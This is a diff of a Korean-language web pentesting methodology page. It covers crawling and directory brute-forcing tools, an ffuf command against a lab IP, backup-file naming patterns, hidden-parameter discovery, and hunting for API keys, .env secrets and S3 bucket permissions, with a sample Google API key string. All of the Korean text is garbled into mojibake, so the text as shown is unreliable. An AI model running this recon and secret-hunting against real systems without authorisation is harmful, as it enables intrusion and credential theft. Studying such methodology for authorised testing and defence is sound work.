์‚ฌ์šฉ๋˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback ๋จธ์‹ ์—์„œ ๋งํฌ๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ณ  ์‘๋‹ต์„ ๋‹ค์šด๋กœ๋“œํ•˜์—ฌ ๋” ๋งŽ์€ ๋งํฌ๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): ์–‘์‹ ์ž‘์„ฑ ๋ฐ ํŠน์ • ์ •๊ทœ ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ฐพ๋Š” ํฌ๋กค๋Ÿฌ. +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): ์–‘์‹ ์ž‘์„ฑ๊นŒ์ง€ ํฌ๋กค๋งํ•˜๊ณ  ํŠน์ • ์ •๊ทœ ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite๋Š” ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋ฅผ ์œ„ํ•ด ์„ค๊ณ„๋œ ๊ณ ๊ธ‰ ๋‹ค๊ธฐ๋Šฅ GUI ์›น ๋ณด์•ˆ ํฌ๋กค๋Ÿฌ/์ŠคํŒŒ์ด๋”์ž…๋‹ˆ๋‹ค. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, ๊ฒฝ๋กœ, ๋น„๋ฐ€ ๋ฐ ๊ธฐํƒ€ ํฅ๋ฏธ๋กœ์šด ๋ฐ์ดํ„ฐ๋ฅผ JavaScript ์†Œ์Šค ์ฝ”๋“œ์—์„œ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•œ Go ํŒจํ‚ค์ง€ ๋ฐ [๋ช…๋ น์ค„ ๋„๊ตฌ](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ์š”์ฒญ์—์„œ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ถ”์ถœํ•˜์—ฌ ํผ์ง• ๋ฐ ์—ด๊ฑฐ๋ฅผ ์œ„ํ•œ ์‚ฌ์šฉ์ž ์ •์˜ ๋‹จ์–ด ๋ชฉ๋ก์„ ์ƒ์„ฑํ•˜๋Š” ๊ฐ„๋‹จํ•œ **Burp Suite ํ™•์žฅ**์ž…๋‹ˆ๋‹ค. @@ -231,7 +231,7 @@ SSL/TLS ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ •๋ณด: ### ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ ํŒŒ์ผ์— ๋Œ€ํ•œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… -๋ฃจํŠธ ํด๋”์—์„œ **๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…**์„ ์‹œ์ž‘ํ•˜๊ณ  **์ด ๋ฐฉ๋ฒ•**์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐœ๊ฒฌ๋œ **๋ชจ๋“  ๋””๋ ‰ํ† ๋ฆฌ**๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•ด์•ผ ํ•˜๋ฉฐ, **์ŠคํŒŒ์ด๋”๋ง**์— ์˜ํ•ด **๋ฐœ๊ฒฌ๋œ** ๋ชจ๋“  ๋””๋ ‰ํ† ๋ฆฌ๋„ ํฌํ•จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์ด ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์€ **์žฌ๊ท€์ ์œผ๋กœ** ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์‚ฌ์šฉ๋œ ๋‹จ์–ด ๋ชฉ๋ก์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์— ๋ฐœ๊ฒฌ๋œ ๋””๋ ‰ํ† ๋ฆฌ์˜ ์ด๋ฆ„์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).\ +๋ฃจํŠธ ํด๋”์—์„œ **๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…**์„ ์‹œ์ž‘ํ•˜๊ณ  **์ด ๋ฐฉ๋ฒ•**์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐœ๊ฒฌ๋œ **๋ชจ๋“ ** **๋””๋ ‰ํ† ๋ฆฌ**๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•ด์•ผ ํ•˜๋ฉฐ, **์ŠคํŒŒ์ด๋”๋ง**์— ์˜ํ•ด **๋ฐœ๊ฒฌ๋œ** ๋ชจ๋“  ๋””๋ ‰ํ† ๋ฆฌ๋„ ํฌํ•จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์ด ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์„ **์žฌ๊ท€์ ์œผ๋กœ** ์ˆ˜ํ–‰ํ•˜๊ณ  ์‚ฌ์šฉ๋œ ๋‹จ์–ด ๋ชฉ๋ก์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์— ๋ฐœ๊ฒฌ๋œ ๋””๋ ‰ํ† ๋ฆฌ ์ด๋ฆ„์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).\ ๋„๊ตฌ: - **Dirb** / **Dirbuster** - Kali์— ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ, **์˜ค๋ž˜๋œ** (๋ฐ **๋А๋ฆฐ**) ๊ธฐ๋Šฅ์ด์ง€๋งŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์ž๋™ ์„œ๋ช…๋œ ์ธ์ฆ์„œ๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ์žฌ๊ท€ ๊ฒ€์ƒ‰์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์˜ต์…˜์— ๋น„ํ•ด ๋„ˆ๋ฌด ๋А๋ฆฝ๋‹ˆ๋‹ค. @@ -242,13 +242,13 @@ SSL/TLS ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ •๋ณด: - [**ffuf** ](https://github.com/ffuf/ffuf)- ๋น ๋ฆ„: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**uro**](https://github.com/s0md3v/uro) (python): ์ด ๋„๊ตฌ๋Š” ์ŠคํŒŒ์ด๋”๋Š” ์•„๋‹ˆ์ง€๋งŒ ๋ฐœ๊ฒฌ๋œ URL ๋ชฉ๋ก์„ ์ฃผ๋ฉด "์ค‘๋ณต๋œ" URL์„ ์‚ญ์ œํ•ฉ๋‹ˆ๋‹ค. - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): ๋‹ค์–‘ํ•œ ํŽ˜์ด์ง€์˜ burp ๊ธฐ๋ก์—์„œ ๋””๋ ‰ํ† ๋ฆฌ ๋ชฉ๋ก์„ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•œ Burp ํ™•์žฅ. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): ๊ธฐ๋Šฅ์ด ์ค‘๋ณต๋œ URL์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค(๊ธฐ๋ฐ˜ js ๊ฐ€์ ธ์˜ค๊ธฐ). +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS ๊ฐ€์ ธ์˜ค๊ธฐ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ค‘๋ณต ๊ธฐ๋Šฅ์ด ์žˆ๋Š” URL์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. - [**Chamaleon**](https://github.com/iustin24/chameleon): ์‚ฌ์šฉ๋œ ๊ธฐ์ˆ ์„ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•ด wapalyzer๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์‚ฌ์šฉํ•  ๋‹จ์–ด ๋ชฉ๋ก์„ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค. **์ถ”์ฒœ ์‚ฌ์ „:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) -- [**Dirsearch** ํฌํ•จ ์‚ฌ์ „](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +- [**Dirsearch** ํฌํ•จ๋œ ์‚ฌ์ „](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) - [Assetnote ๋‹จ์–ด ๋ชฉ๋ก](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) @@ -269,36 +269,36 @@ _๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๋˜๋Š” ์ŠคํŒŒ์ด๋”๋ง ์ค‘์— ์ƒˆ๋กœ์šด ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ๋ฐœ๊ฒฌ ### ๋ฐœ๊ฒฌ๋œ ๊ฐ ํŒŒ์ผ์—์„œ ํ™•์ธํ•  ์‚ฌํ•ญ - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): ์ธ์ˆ˜์ธ๊ณ„๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” HTML ๋‚ด์˜ ๋Š์–ด์ง„ ๋งํฌ๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. -- **ํŒŒ์ผ ๋ฐฑ์—…**: ๋ชจ๋“  ํŒŒ์ผ์„ ์ฐพ์€ ํ›„ ์‹คํ–‰ ํŒŒ์ผ์˜ ๋ฐฑ์—…์„ ์ฐพ์Šต๋‹ˆ๋‹ค("_.php_", "_.aspx_"...). ๋ฐฑ์—… ํŒŒ์ผ์˜ ์ผ๋ฐ˜์ ์ธ ๋ช…๋ช… ๋ณ€ํ˜•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ๋ฐ file.old._ ๋„๊ตฌ [**bfac**](https://github.com/mazen160/bfac) **๋˜๋Š”** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** +- **ํŒŒ์ผ ๋ฐฑ์—…**: ๋ชจ๋“  ํŒŒ์ผ์„ ์ฐพ์€ ํ›„, ๋ชจ๋“  ์‹คํ–‰ ํŒŒ์ผ์˜ ๋ฐฑ์—…์„ ์ฐพ์Šต๋‹ˆ๋‹ค ("_.php_", "_.aspx_"...). ๋ฐฑ์—… ์ด๋ฆ„์˜ ์ผ๋ฐ˜์ ์ธ ๋ณ€ํ˜•์€: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ๋ฐ file.old._ ๋„๊ตฌ [**bfac**](https://github.com/mazen160/bfac) **๋˜๋Š”** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** - **์ƒˆ๋กœ์šด ๋งค๊ฐœ๋ณ€์ˆ˜ ๋ฐœ๊ฒฌ**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **๋ฐ** [**Param Miner**](https://github.com/PortSwigger/param-miner) **์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆจ๊ฒจ์ง„ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ๊ฐ ์‹คํ–‰ ์›น ํŒŒ์ผ์—์„œ ์ˆจ๊ฒจ์ง„ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๊ฒ€์ƒ‰ํ•ด ๋ณด์‹ญ์‹œ์˜ค.** - _Arjun ๋ชจ๋“  ๊ธฐ๋ณธ ๋‹จ์–ด ๋ชฉ๋ก:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner โ€œparamsโ€ :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote โ€œparameters_top_1mโ€:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de โ€œparams.txtโ€:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **์ฃผ์„:** ๋ชจ๋“  ํŒŒ์ผ์˜ ์ฃผ์„์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค. **์ž๊ฒฉ ์ฆ๋ช…** ๋˜๋Š” **์ˆจ๊ฒจ์ง„ ๊ธฐ๋Šฅ**์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **CTF**๋ฅผ ์ง„ํ–‰ ์ค‘์ด๋ผ๋ฉด, "์ผ๋ฐ˜์ ์ธ" ํŠธ๋ฆญ์€ ํŽ˜์ด์ง€์˜ **์˜ค๋ฅธ์ชฝ**์— ์žˆ๋Š” ์ฃผ์„์— **์ •๋ณด**๋ฅผ **์ˆจ๊ธฐ๋Š” ๊ฒƒ**์ž…๋‹ˆ๋‹ค(๋ธŒ๋ผ์šฐ์ €๋กœ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ์—ด์–ด๋„ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณผ ์ˆ˜ ์—†๋„๋ก **์ˆ˜๋ฐฑ ๊ฐœ์˜ ๊ณต๋ฐฑ**์„ ์‚ฌ์šฉ). ๋‹ค๋ฅธ ๊ฐ€๋Šฅ์„ฑ์€ **์—ฌ๋Ÿฌ ๊ฐœ์˜ ์ƒˆ ์ค„**์„ ์‚ฌ์šฉํ•˜๊ณ  ์›น ํŽ˜์ด์ง€์˜ **ํ•˜๋‹จ**์— ์ฃผ์„์œผ๋กœ **์ •๋ณด๋ฅผ ์ˆจ๊ธฐ๋Š” ๊ฒƒ**์ž…๋‹ˆ๋‹ค. -- **API ํ‚ค**: **API ํ‚ค**๋ฅผ ์ฐพ์œผ๋ฉด ๋‹ค์–‘ํ•œ ํ”Œ๋žซํผ์˜ API ํ‚ค ์‚ฌ์šฉ ๋ฐฉ๋ฒ•์„ ์•ˆ๋‚ดํ•˜๋Š” ๊ฐ€์ด๋“œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API ํ‚ค: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik์™€ ๊ฐ™์€ API ํ‚ค๋ฅผ ์ฐพ์œผ๋ฉด [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) ํ”„๋กœ์ ํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ‚ค๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” API๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **S3 ๋ฒ„ํ‚ท**: ์ŠคํŒŒ์ด๋”๋ง ์ค‘์— **์„œ๋ธŒ๋„๋ฉ”์ธ**์ด๋‚˜ **๋งํฌ**๊ฐ€ **S3 ๋ฒ„ํ‚ท**๊ณผ ๊ด€๋ จ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ [**๋ฒ„ํ‚ท์˜ ๊ถŒํ•œ์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค**](buckets/index.html). +- **CTF**๋ฅผ ์ง„ํ–‰ ์ค‘์ด๋ผ๋ฉด, "์ผ๋ฐ˜์ ์ธ" ํŠธ๋ฆญ์€ ํŽ˜์ด์ง€์˜ **์˜ค๋ฅธ์ชฝ**์— **์ •๋ณด**๋ฅผ **์ˆจ๊ธฐ๋Š” ๊ฒƒ**์ž…๋‹ˆ๋‹ค (๋ธŒ๋ผ์šฐ์ €๋กœ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ์—ด์–ด๋„ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด์ง€ ๋ชปํ•˜๋„๋ก **์ˆ˜๋ฐฑ ๊ฐœ์˜ ๊ณต๋ฐฑ**์„ ์‚ฌ์šฉ). ๋‹ค๋ฅธ ๊ฐ€๋Šฅ์„ฑ์€ **์—ฌ๋Ÿฌ ๊ฐœ์˜ ์ƒˆ ์ค„**์„ ์‚ฌ์šฉํ•˜๊ณ  ์›น ํŽ˜์ด์ง€์˜ **ํ•˜๋‹จ**์— ์ฃผ์„์œผ๋กœ **์ •๋ณด๋ฅผ ์ˆจ๊ธฐ๋Š” ๊ฒƒ**์ž…๋‹ˆ๋‹ค. +- **API ํ‚ค**: **API ํ‚ค**๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด ๋‹ค์–‘ํ•œ ํ”Œ๋žซํผ์˜ API ํ‚ค ์‚ฌ์šฉ ๋ฐฉ๋ฒ•์„ ์•ˆ๋‚ดํ•˜๋Š” ๊ฐ€์ด๋“œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API ํ‚ค: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik์™€ ๊ฐ™์€ API ํ‚ค๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) ํ”„๋กœ์ ํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ‚ค๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” API๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **S3 ๋ฒ„ํ‚ท**: ์ŠคํŒŒ์ด๋”๋ง ์ค‘์— **์„œ๋ธŒ๋„๋ฉ”์ธ**์ด๋‚˜ **๋งํฌ**๊ฐ€ **S3 ๋ฒ„ํ‚ท**๊ณผ ๊ด€๋ จ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ, [**๋ฒ„ํ‚ท์˜ ๊ถŒํ•œ์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค**](buckets/index.html). ### ํŠน๋ณ„ ๋ฐœ๊ฒฌ -**์ŠคํŒŒ์ด๋”๋ง** ๋ฐ **๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…**์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋™์•ˆ **ํฅ๋ฏธ๋กœ์šด** **์‚ฌํ•ญ**์„ **์ฃผ๋ชฉ**ํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**์ŠคํŒŒ์ด๋”๋ง** ๋ฐ **๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…**์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋™์•ˆ **ํฅ๋ฏธ๋กœ์šด** **์‚ฌํ•ญ**์„ **์ฃผ๋ชฉํ•ด์•ผ** ํ•ฉ๋‹ˆ๋‹ค. **ํฅ๋ฏธ๋กœ์šด ํŒŒ์ผ** - **CSS** ํŒŒ์ผ ๋‚ด์˜ ๋‹ค๋ฅธ ํŒŒ์ผ์— ๋Œ€ํ•œ **๋งํฌ**๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. -- [**.git**_ ํŒŒ์ผ์„ ์ฐพ์œผ๋ฉด ์ผ๋ถ€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค](git.md) -- **.env**๋ฅผ ์ฐพ์œผ๋ฉด API ํ‚ค, DB ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐ ๊ธฐํƒ€ ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **API ์—”๋“œํฌ์ธํŠธ**๋ฅผ ์ฐพ์œผ๋ฉด [ํ…Œ์ŠคํŠธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค](web-api-pentesting.md). ์ด๋“ค์€ ํŒŒ์ผ์€ ์•„๋‹ˆ์ง€๋งŒ ์•„๋งˆ๋„ "ํŒŒ์ผ์ฒ˜๋Ÿผ" ๋ณด์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค. -- **JS ํŒŒ์ผ**: ์ŠคํŒŒ์ด๋”๋ง ์„น์…˜์—์„œ JS ํŒŒ์ผ์—์„œ ๊ฒฝ๋กœ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ๋„๊ตฌ๊ฐ€ ์–ธ๊ธ‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๋ฐœ๊ฒฌ๋œ ๊ฐ JS ํŒŒ์ผ์„ **๋ชจ๋‹ˆํ„ฐ๋ง**ํ•˜๋Š” ๊ฒƒ๋„ ํฅ๋ฏธ๋กœ์šธ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์ด ์ฝ”๋“œ์— ์ž ์žฌ์ ์ธ ์ทจ์•ฝ์ ์ด ๋„์ž…๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด [**JSMon**](https://github.com/robre/jsmon)**์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** +- [**.git** ํŒŒ์ผ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด ์ผ๋ถ€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค](git.md) +- **.env**๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด API ํ‚ค, DB ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐ ๊ธฐํƒ€ ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **API ์—”๋“œํฌ์ธํŠธ**๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด [ํ…Œ์ŠคํŠธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค](web-api-pentesting.md). ์ด๋“ค์€ ํŒŒ์ผ์€ ์•„๋‹ˆ์ง€๋งŒ "ํŒŒ์ผ์ฒ˜๋Ÿผ" ๋ณด์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. +- **JS ํŒŒ์ผ**: ์ŠคํŒŒ์ด๋”๋ง ์„น์…˜์—์„œ JS ํŒŒ์ผ์—์„œ ๊ฒฝ๋กœ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ๋„๊ตฌ๊ฐ€ ์–ธ๊ธ‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๋ฐœ๊ฒฌ๋œ ๊ฐ JS ํŒŒ์ผ์„ **๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๊ฒƒ์ด ํฅ๋ฏธ๋กœ์šธ ๊ฒƒ์ž…๋‹ˆ๋‹ค**. ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์ด ์ฝ”๋“œ์— ์ž ์žฌ์ ์ธ ์ทจ์•ฝ์ ์ด ๋„์ž…๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด [**JSMon**](https://github.com/robre/jsmon)**์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** - ๋ฐœ๊ฒฌ๋œ JS ํŒŒ์ผ์„ [**RetireJS**](https://github.com/retirejs/retire.js/) ๋˜๋Š” [**JSHole**](https://github.com/callforpapers-source/jshole)๋กœ ํ™•์ธํ•˜์—ฌ ์ทจ์•ฝํ•œ์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. - **Javascript Deobfuscator ๋ฐ Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck ๋””์˜ค๋ธŒํผ์ผ€์ด์…˜** (๋ฌธ์ž์™€ ํ•จ๊ป˜ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- ์—ฌ๋Ÿฌ ๊ฒฝ์šฐ์— **์ •๊ทœ ํ‘œํ˜„์‹**์„ **์ดํ•ดํ•ด์•ผ ํ•  ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค**. ์ด๋Š” ์œ ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค: [https://regex101.com/](https://regex101.com) ๋˜๋Š” [https://pythonium.net/regex](https://pythonium.net/regex) -- **์–‘์‹์ด ๊ฐ์ง€๋œ ํŒŒ์ผ์„ ๋ชจ๋‹ˆํ„ฐ๋ง**ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๋ณ€๊ฒฝ์ด๋‚˜ ์ƒˆ๋กœ์šด ์–‘์‹์˜ ์ถœํ˜„์€ ์ž ์žฌ์ ์ธ ์ƒˆ๋กœ์šด ์ทจ์•ฝํ•œ ๊ธฐ๋Šฅ์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- ์—ฌ๋Ÿฌ ๊ฒฝ์šฐ์— **์‚ฌ์šฉ๋œ ์ •๊ทœ ํ‘œํ˜„์‹**์„ **์ดํ•ดํ•ด์•ผ** ํ•  ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์œ ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค: [https://regex101.com/](https://regex101.com) ๋˜๋Š” [https://pythonium.net/regex](https://pythonium.net/regex) +- **์–‘์‹์ด ๊ฐ์ง€๋œ ํŒŒ์ผ์„ ๋ชจ๋‹ˆํ„ฐ๋ง**ํ•ด์•ผ ํ•˜๋ฉฐ, ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๋ณ€๊ฒฝ์ด๋‚˜ ์ƒˆ๋กœ์šด ์–‘์‹์˜ ์ถœํ˜„์€ ์ž ์žฌ์ ์ธ ์ƒˆ๋กœ์šด ์ทจ์•ฝํ•œ ๊ธฐ๋Šฅ์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **403 Forbidden/Basic Authentication/401 Unauthorized (์šฐํšŒ)** @@ -308,21 +308,21 @@ _๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๋˜๋Š” ์ŠคํŒŒ์ด๋”๋ง ์ค‘์— ์ƒˆ๋กœ์šด ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ 